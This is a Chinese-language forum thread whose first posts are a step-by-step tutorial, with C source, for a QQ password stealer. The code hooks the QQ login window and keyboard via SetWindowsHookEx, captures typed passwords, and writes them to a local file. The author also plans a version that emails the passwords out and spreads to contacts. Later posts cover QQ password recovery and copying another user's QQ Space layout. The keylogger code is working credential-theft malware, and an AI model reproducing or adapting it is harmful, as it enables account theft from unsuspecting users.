|
論壇說明 |
歡迎您來到『史萊姆論壇』 ^___^ 您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的! 請點擊這裡:『註冊成為我們的一份子!』 |
|
主題工具 | 顯示模式 |
2005-11-26, 08:44 PM | #1 |
榮譽會員
|
教學 - QQ的密碼軟體模擬實現技術
最近天氣太熱,外加無聊,出於練習的目的,想到了寫個盜QQ的軟體,說「盜」,未免是太難聽了吧,於是我給它起名為「UiQQ道」.
一般的盜密碼的軟體的軟體都是通過監視鍵盤來獲得密碼,這樣操作比較方便,但是這樣也存在一定問題,密碼有的時候不是很準確,因為有的人輸入密碼並不是從前到後輸入,當然這樣的人也是少數,盜密碼嘛,當然去得到那些比較粗心的人的密碼! 通過安裝鉤子來監視QQ登入界面就是獲得密碼的方法,在安裝前得先找到登入視窗的關鍵句,當鉤子安裝後,記錄鍵盤,當用戶「Enter鍵」或是點了「登入」就可以開始處理密碼了! 我準備分為四部分來說明這個整個程序: (1)尋找QQ登入界面。 (2)安裝鉤子 (3)鉤子函數的解釋. (4)處理密碼。 以下部分全是使用C語言,文章中我假設讀者您是會C/SDK編程的。如果遇到相關的概念性問題,您可以檢視MSDN或是上BBS 詢問! 第一部分:(1)尋找QQ登入界面。 軟體執行後,利用安裝定時器,每秒在系統找QQ登入界面,這樣基本上只要用戶開啟了QQ登入界面就會被抓住其關鍵句,看下面程式碼: #define ID_MYTIMER 555 SetTimer(hDlg, ID_MYTIMER, 1000, NULL); 安裝好TIMER後,下面是處理主程序的WM_TIMER消息,凡是出現沒有定義的變數,您可以理解為是全局變數. //處理WM_TIMER程式碼 if (!IsWindow(g_hQQLogin)) //判斷g_hQQLogin是否是有效的視窗關鍵句 { HWND hLogin=NULL; g_hQQLogin = NULL; SetQQHook(NULL); //參數為NULL是卸載HOOK,參數為關鍵句是安裝關鍵句 do { //利用FindWindowEx尋找QQ登入視窗,具體參數意思請查MSDN g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //對話視窗的類都是#32770 //找到類名是#32770後,再在其表單內找一個具有「 登入QQ」的BUTTON按紐 hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登入QQ"); //這一句很關鍵,如果你的QQ登入視窗上沒有" 登入QQ"字樣,那麼獲取密碼將失敗! } while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的視窗,即:QQ登入視窗 if (g_hQQLogin != NULL) { SetQQHook(g_hQQLogin);//安裝HOOK,此函數在DLL文件中 第二部分中介紹 } } 上面就是尋找QQ登入視窗關鍵句的程序,從程式碼可以看出我用的方法:找一個其子表單中有一個標題為「 登入QQ」的BUTTON的對話視窗(這句話說得有點饒口,這句話如果也看不懂,下面您不用看了:() 我最開始是想利用 FindWindow(NULL,"QQ用戶登入視窗")來尋找,但是我用Spy++看了QQ登入視窗的標題並不是「QQ用戶登入視窗」,而是「亂碼」,其中包含了Enter鍵鍵等特殊字串,於是我用了FindWindowEx(). |
__________________ |
|
送花文章: 3,
|
2005-11-26, 08:45 PM | #2 (permalink) |
榮譽會員
|
第二部分:(2)安裝鉤子
找到了QQ登入視窗後,就成功了一半。:) 下面是DLL文件中的安裝HOOK的函數SetQQHook(), 為什麼要用DLL(動態連接程式庫)?要去「鉤」其他工作的消息,得讓HOOK函數在DLL中,這樣好映射到其位址空間中! BOOL WINAPI SetQQHook(HWND hQQLogin) { //獲得登陸視窗的關鍵句 BOOL bRet = FALSE; if (hQQLogin != NULL) { DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL); //這是什麼意思?看MSDN g_hNum = GetDlgItem(hQQLogin, 138);//不同版本QQ,此處不一樣! 得到QQ號的子視窗關鍵句 g_hPsw = GetDlgItem(hQQLogin, 180); //不同版本QQ,此處不一樣!得到QQ密碼的子視窗關鍵句 if (g_hNum == NULL) { MessageBox(NULL,"哭了,號碼關鍵句都沒有得到!","鬱悶",0); return FALSE; } if(g_hPsw==NULL) { MessageBox(NULL,"哭了,密碼關鍵句都沒有得到!","鬱悶",0); return FALSE; } 分別鍵盤HOOK,和界面部分消息處理的HOOK g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID); g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID); bRet = (g_hProc != NULL) && (g_hKey != NULL); } else { // 卸載鉤子 bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey); g_hProc = NULL; g_hKey = NULL; g_hNum = NULL; } return bRet; } 上面是安裝HOOK部分的程式碼,就這麼簡單,上面提到了CallWndProc,KeyboardProc是兩個回調函數,是我第三部分要解釋的鉤子函 |
送花文章: 3,
|
2005-11-26, 08:46 PM | #3 (permalink) |
榮譽會員
|
·三種常用的網路傳輸協定簡述 ·突破ip封鎖登入論壇系統
·抵禦艾滋:女大學生示範用安全套 ·Windows各系列啟動速度差異的奧秘 ·帶你逃離虛擬記憶體的設定誤區 ·在IE內容中合理設定Cookies ·寵我愛我照顧我 QQ寵物完全攻略 ·六大網路電子相冊服務橫向評測 ·PHOTOSHOP製作一塊絕美的手錶 ·網路遊戲開發人才培訓漸成熱點 ·三種常用的網路傳輸協定簡述 ·突破ip封鎖登入論壇系統 ·抵禦艾滋:女大學生示範用安全套 ·Windows各系列啟動速度差異的奧秘 ·帶你逃離虛擬記憶體的設定誤區 ·在IE內容中合理設定Cookies ·寵我愛我照顧我 QQ寵物完全攻略 ·六大網路電子相冊服務橫向評測 ·PHOTOSHOP製作一塊絕美的手錶 ·網路遊戲開發人才培訓漸成熱點 第三部分:(3)鉤子函數的解釋 CallWndProc,KeyboardProc是兩個回調函數的原型和具體程式碼如下: // 鉤子程序,監視「登入」的指令消息 LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam) { CWPSTRUCT *p = (CWPSTRUCT *)lParam; // 捕獲「登入」按鈕 if (p->message == WM_COMMAND && p->wParam ==16032) //下面個函數是我在第四部分介紹-「處理密碼」部分會仔細說明 //當用戶點了登入按鈕,說明QQ號碼和QQ密碼已經填寫完畢,當然可以去獲得密碼了 GetPasswrod(); return CallNextHookEx(g_hProc, nCode, wParam, lParam); } // 鍵盤鉤子程序,監視「登入」的熱鍵消息 LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { // 捕獲熱鍵消息,記錄鍵盤的按鍵盤程序,pmsg是PMSG檔案類型的,i是全局Static檔案類型的 pmsg.wParam =wParam; i++; if (wParam == VK_RETURN) //用戶使用鍵盤「Enter鍵」來登入,用戶用了Enter鍵後,就可以可以去獲得密碼了 GetPasswrod(); return CallNextHookEx(g_hKey, nCode, wParam, lParam); } 在明白了這兩個鉤子函數後就可以看後期是如何具體處理密碼的了,這就是下面的第四部分內容 |
送花文章: 3,
|
2005-11-26, 08:48 PM | #4 (permalink) |
榮譽會員
|
第四部分:(4)處理密碼
如果您讀到了此處,我想得暫停一會,先讓我來幫你回憶一下前面提到的幾個關鍵的變數 第一個:QQ號的子視窗關鍵句 g_hNum 第二個:QQ密碼的子視窗關鍵句 g_hPsw //此部分暫時不使用,下面 第三個:存鍵盤按鍵的 pmsg 上面三變數分別出現在第二部分和第三部分,都是全局共享(shared)變數 QQ密碼的子視窗關鍵句 g_hPsw 此部分暫時不使用,你可以看到下面程式碼中有句用到g_hPsw的語句是我註釋掉了的,原因是無法通過那樣去得到QQ密碼,得處理按鍵消息 void GetPasswrod() { //聲明變數和啟始化 HANDLE f; TCHAR num[13]; TCHAR psw[21]; TCHAR total[50]; int j; memset(num,0,sizeof(num)); memset(total,0,sizeof(total)); memset(psw,0,sizeof(psw)); DWORD dw; //得到QQ號的內容,以為有的人的QQ號是在登陸視窗有記錄,其QQ號並是用鍵盤輸入的 GetWindowText(g_hNum,(LPSTR)num,sizeof(num)); //GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //此句不使用,無法這樣獲得密碼 //抽取出鍵盤記錄,此內容也許全是密碼,也許是QQ號+QQ密碼 for(j=0;j<20;j++) { psw[j]=(TCHAR)pmsg[j*2].wParam ; } psw[j+1]='\0'; //把QQ號碼和QQ密碼寫入C碟password.txt中 f=CreateFile("c:\\password.txt",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); strcat(total,"號碼"); strcat(total,num); strcat(total,"密碼:"); strcat(total,psw); WriteFile(f,&total,sizeof(total),&dw,NULL); CloseHandle(f); } 最後在C碟password.txt也許會出現這樣兩種情況: 1)當QQ號是沒有用輸入,而已用的貼上或者是電腦以前有記錄則是:號碼:21728812密碼:TEST 2) 當QQ號是用的鍵盤輸入,電腦沒有QQ號記錄時則是: 號碼:21728812密碼:21728812TEST 可以看出,第2種情況把QQ當成了密碼了,所以密碼還得減去QQ號, 特別說明:我這樣直接處理wParam參數,得到的字串密碼全是大寫的,具體大小寫問題我沒有就沒有仔細去處理的,功能實現就行了,畢竟我使用他不用來盜密碼的! 上面四部分基本上獲得密碼的功能介紹完畢。凡是沒有介紹的變數皆是全局變數,沒有提到的函數如:GetWindowThreadProcessId(),SetWindowsHookEx(),UnhookWindowsHookEx(),CallNextHookEx(),CreateFile(),WriteFile()等皆是Windows API,詳細使用說明請查MSDN(http://www.msdn.com),我提到的「HOOK」,「鉤子」是同一個意思,也許有的地方我說的鉤子函數,而另外一個地方說的是HOOK函數 特別說明:上面有具體的執行文件,由於小弟並沒有考慮到更多細節,我只是用了「理想」狀況下去獲得密碼,並且或的密碼後並沒有注重後期密碼處理,也許出現密碼大小寫不符合或是無法得到密碼,請大家千萬別笑話,我寫這篇菜鳥層次的Blog的原因意在告訴一些對這方面感到疑惑的朋友基本的原理,和希望和大俠們交流 ! 後期如果有必要的話,我準備進行改版,按照「真正」的QQ「木馬」來寫,如:對QQ版本進行識別,密碼自動傳送到E-MAIL,加入QQ尾巴程式碼,使其自動傳給好友的等功能!請關注我的主頁 http://www.uisoft.net 轉載者,希望您能保留作者姓名,已經相關連接訊息,我在此感謝 注意:我使用的QQ2005 賀歲版 版本號:13.5.0.8213,其他版本的QQ我無法保證可以正確的到密碼! 參考資料:MSDN,Titilima的QQ尾巴病毒模擬程式碼 |
送花文章: 3,
|
2005-12-01, 01:57 PM | #6 (permalink) | |
榮譽會員
|
引用:
這是小微見大....Im包括跟MSMSN , YAHOO (有使用IE PORT 80)有所不同!譬如以前使用QQ 明顯不同udp非TC/IP.... 主要的是如何寫個程式與協議,跟溝通,雖說是如何偷QQ之事,其實是實現的程式說明跟偷無關,才是這文張的價值,如想是單程式下載那文不如不貼. |
|
送花文章: 3,
|
2006-08-16, 10:55 PM | #7 (permalink) |
榮譽會員
|
QQ密碼找回指南新編 帶你快速找回QQ密碼
QQ密碼找回的重要關鍵詞 QQ密碼保護 QQ密碼保護是一套保障QQ密碼安全的機制。通過給你的QQ號填寫對應的相關資料,如證件號、安全提示問題、安全郵箱等,給你的QQ號穿一件防彈衣。一旦出現問題,就可以通過QQ密碼保護找回QQ密碼。 QQ密碼修改(重設QQ密碼) 如果你開啟了QQ密碼保護,就可以通過它快速進入QQ密碼找回程式,騰訊會為你的QQ號重設一個隨機密碼,然後將它發到你在填寫資料時預設的安全郵箱中。 手機取回QQ號碼 這是找回QQ密碼的最新途徑。開通QQ會員並將手機號與QQ綁定後,可以通過手機發送相關指令到固定號碼,強制性取回你的QQ密碼。 QQ號碼申訴 QQ號碼申訴是最後一條路,通過所有其它途徑無法找回密碼時,可以用它。QQ號碼申訴就像一場你與盜QQ者的官方,騰訊是審判長。你可以提供所有能證明你是QQ號真正主人的證據,如以前加過哪些好友、最後是在哪裡使用的等等。證據真實有效的話,騰訊就會把QQ號從盜號者手中取回來還給你。 下面我們看看具體如何找回QQ密碼: 我以前申請過密碼保護 狀況一:我還記得當時填的密碼保護問題和安全郵箱地址 解決方法: 直接去http://service.qq.com/psw/mo.shtml?p...鐘搞定。 狀況二:我還記得我的密碼保護資料,不過我不記得我的安全郵箱了;我的安全郵箱裡收不到密碼重設郵件 解決方法: 1、新設一個安全郵箱,填寫當初的證件號碼和新舊安全郵箱即可。 2、修改全部密碼保護資料,把所有資料重設一遍後再重找一次。 狀況三:我不記得密碼保護問題了 解決方法: 不能直接找回QQ密碼了,去申訴。是QQ會員的話,就用手機找回 我沒有申請過密碼保護 狀況一:我是QQ會員 解決方法: 用手機找回QQ密碼。 狀況二:我不是QQ會員 解決方法: 申訴。去http://service.qq.com/psw/mo.shtml?p...正主人。 資料很複雜,盡量填寫吧。 另外,填出能說服騰訊的材料有一些技巧 申訴完成,不管成功不成功,騰訊都會在客戶端和新的安全郵箱裡通知你處理結果。 我是QQ會員 開通了QQ加油站,就可以發指令到一個指定的號碼,用手機重設QQ密碼。 可以進行密碼鎖定,在解鎖前,別人無法修改你的QQ密碼 還可以收到密碼修改通知。一旦密碼被改過,馬上會收到短信通知。 除了以上的找回方法,還有一個小技巧。當你正在上QQ時,提示你的QQ已從別處登入,說明有人在盜你的QQ。馬上進入主面板的安全設置,搶在對方在修改密碼前先改一個密碼,讓原來的密碼失效,這樣他就沒法了。 找密碼很痛苦,大家最好要有較強的安全意識,不要隨意洩漏自己的QQ密碼、不掛機、經常殺殺病毒木馬、增加密保護碼複雜程度、定期更換密碼。 |
送花文章: 3,
|
2006-08-19, 06:58 PM | #8 (permalink) |
榮譽會員
|
教程收集|把別人漂亮的QQ空間複製克隆一份
更多圖文教程請訪問:蕉夢園|http://bbs.pckoo.com/thread.php?fid=45 [ post] 作者:未知 出處:QQ派對責任編輯: still 首發:蕉夢園|http://bbs.pckoo.net 第一步:首先我找一位朋友的QQ空間(在複製前最好先徵得對方的同意),呵呵~卡通的透明背景Flash、飄移的文字……估計大多數人都喜歡這種佈局吧(如圖1)。 圖1 第二步:找到要複製的QQ空間後,記下對方的QQ號碼,接著在IE瀏覽器中輸入「http://q-zone.qq.com/fcg-bin/cgi_access_self.fcg?uin=對方的QQ號碼&type=0」,此時會打開一個XML文件,在QQ空間中所有自定義的模塊和設置都在這個XML文件裡了,以下是部分代碼: - 7 496 -1 - - 1 1333 0 0 0 0 0 - 6 703 706 280 210 120 0 - 7 3942 0 0 1 73 0 第三步:新增一個文本文件,接著將XML文件的「」中的數位以如下形式進行整理: 1333|703|3942|3942…… 第四步:在IE瀏覽器中輸入「http://q-zone.qq.com/fcg-bin/cgi_diy_window.fcg?uin=對方的QQ號碼&type=11&wndid=在文本文件中整理的數位」,呵呵~打開後你看到了什麼?是不是有些像自定義的代碼呢?下面是部分代碼: - - 219107532 滾動條 - 18134 0 http:// http:// - 220026097 flash2 - 17966 0 http:// http:// http://imgfree.21cn.com/free/flash/9.swf\' quality=high wmode=\'transparent\' WIDTH=\'925\' HEIGHT=\'655\' TYPE=\'application/x-shockwave-flash\'>';"> - 216267259 滑鼠 - 17780 0 http:// http:// http://qqjia.com/learn/q-zone/ani6/1.ani\')'"> 對,就是它!在打開網頁面中黑色顯示的文字就是該QQ空間自定義的模塊代碼了。 第五步:你現在要做的就是將網頁面中黑色的自定義代碼一一新增到你的QQ空間裡即可。[/post] AD1:上海久光彈簧有限公司 點擊進入 AD2:蕉夢園強大搜索引擎震撼登場http://www.pckoo.net |
送花文章: 3,
|